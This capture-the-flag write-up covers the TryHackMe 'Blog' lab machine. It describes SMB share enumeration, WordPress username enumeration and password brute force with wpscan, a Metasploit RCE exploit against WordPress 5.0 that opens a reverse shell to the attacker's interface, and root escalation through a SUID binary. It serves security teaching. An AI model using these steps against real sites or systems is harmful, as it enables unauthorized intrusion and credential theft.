THM: Blog
Intro⌗
THM: Blog is a linux boot to root challenge that starts with a vulnerable WordPress blog. With the help of wpscan we’ll enumerate usernames and brute force a password. With those creds we can exploit a known RCE bug for this version of WP to get a shell. Finally we’ll do some basic static analysis of a root-owned SUID binary to escalate to a root shell.
Recon⌗
Before we start we’ll need to add blog.thm to /etc/hosts per the instructions for this room.
Alright so we have an Ubuntu box with SSH, HTTP, and SMB port open.
On port 80 there is a simple WordPress blog.
We can run wpscan to check for vulnerabilities in the background while we focus our attention on enumerating SMB.
For SMB we can run enum4linux to enumerate shares and more.
Seeing that the server allows anonymous sessions is definitely interesting, as is that the BillySMB share appears to be open.
With smbclient --user='' -N //blog.thm/BillySMB we can connect to the share and explore.
And we can mget <file> to download a copy of each file. Since we have images we might as well check for any hidden data.
Uh oh … looks like we’ve fallen down a rabbit hole! 🐰
Let’s see what wpscan found for us. The -e u option tells it to also enumerate usernames.
It successfully identified kwheel and bjoel and usernames. Now we can run wpscan again with a password list this time to attempt to brute force one or both of their passwords.
And we found a password for kwheel!
Our wpscan results also show it identified the version as 5.0 and also noted this is an insecure, outdated version that was released way back in 2018.
Querying searchsploit shows a few RCE exploits for this version.
Now that we have credentials we can give one of these RCE exploits a try. Let’s use metasploit for this.
Initial Foothold⌗
Run msfconsole to open metasploit and search wordpress 5.0 to find the exploit. use exploit/multi/http/wp_crop_rce will load up the exploit we want, and we can show options to see what settings we need to set.
set username kwheelset password [REDACTED]set rhosts blog.thmset lhost tun0(this points the reverse shell at our TryHackMe VPN interface)- Finally
runto launch the exploit.
It worked! Now we can run shell to drop into a regular reverse shell.
In /home/bjoel there is a user.txt file but….
No flag.
Privilege Escalation⌗
If we check for SUID binaries we’ll see one that doesn’t belong.. /usr/sbin/checker. Let’s take a closer look.
Executing it just tells us we are “Not an Admin.”
We can run it through ltrace to trace library calls and try to understand how it is determining that.
Interesting! It’s looking for an environment variable named admin. So what happens if we set that variable to something?
Apparently that’s all it takes to get a root shell. Now we can run checker again without ltrace this time and capture the root flag.
Now that we’re root we can easily find and grab the real user flag as well, which is in /media/usb.